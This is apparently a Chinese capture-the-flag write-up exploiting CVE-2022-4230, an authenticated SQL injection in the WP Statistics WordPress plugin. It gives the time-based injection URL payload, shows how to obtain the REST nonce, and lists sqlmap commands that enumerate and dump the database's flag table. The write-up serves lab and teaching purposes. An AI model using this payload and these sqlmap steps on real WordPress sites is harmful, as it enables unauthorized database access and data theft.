CVE-2022-4230

打开什么都没有

使用dirsearch扫描到一个wp-admin

访问wp-admin是一个登陆页面

账号密码都在标题中

登陆后是这个页面

在WP Statistics < 13.2.9 -- 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)中,里边有一段对漏洞的描述。

https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/

Log in as a user allowed to View WP Statistic and get a nonce via

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE\&name=words\&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)--%20HsBR

翻译一下就是

以允许查看WP统计信息的用户身份登录,并通过获取随机数

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

并在下面的URL中使用它,该URL将延迟5s

首先通过访问(必须要先登录过后台才行)

访问admin-ajax.php?action=rest-nonce

获得随机数706973b8cb

用浏览器访问,查看一下效果,其中 _wpnonce 的值是上面刚刚获取的随机数

访问:

wp-json/wp-statistics/v2/metabox?_wpnonce=63d5d76be3&name=words&search_engine=aaa

使用bp抓包,右键复制文件到本地

使用sqlmap,爆数据库

Python sqlmap.py -r 保存的文件名 --batch -dbs

爆出来四个库,其中的wordpress库很可疑

爆表

Python sqlmap.py -r 1.txt(保存的文件名) -D wordpress(库名) --tables --batch

爆字段

sqlmap -r 1.txt(保存的文件名) --batch -D wordpress(库名) -T flag(表名) --columns

爆字段数据

Python sqlmap.py -r 1.txt(保存的文件名) --batch

-D wordpress(库名) -T flag(表名) -C flag(字段名) --dump

或者直接省略爆字段名和字段数据直接使用下边的,知道表名就可以得出flag

python sqlmap.py -r 1.txt(保存的文件名) -D atomcms(库名) -T flag(表名) --dump -v --batch

相关推荐
IT瘾君9 小时前
JavaWeb:Web介绍
java·web
白总Server1 天前
Nginx 中间件
大数据·linux·运维·服务器·nginx·bash·web
LcVong2 天前
一篇文章学会开发第一个ASP.NET网页
后端·c#·asp.net·web
90后小陈老师2 天前
WebXR教学 05 项目3 太空飞船小游戏
windows·3d·web·js
zizisuo3 天前
JAVA:Web安全防御
java·web
艾露z8 天前
Vert.x学习(五)—— SockJS,搭建客户端,与后端服务器进行通信
java·前端·后端·学习·web
视力5.2的眼镜猴9 天前
CTF--好像需要管理员
web
梦想不只是梦与想9 天前
鸿蒙系统开发状态更新字段区别对比
android·java·flutter·web·鸿蒙
Huazzi.9 天前
【Caddy】:现代化、自动 HTTPS 的 Web 服务器新星
服务器·前端·https·web
视力5.2的眼镜猴10 天前
CTF--shell
web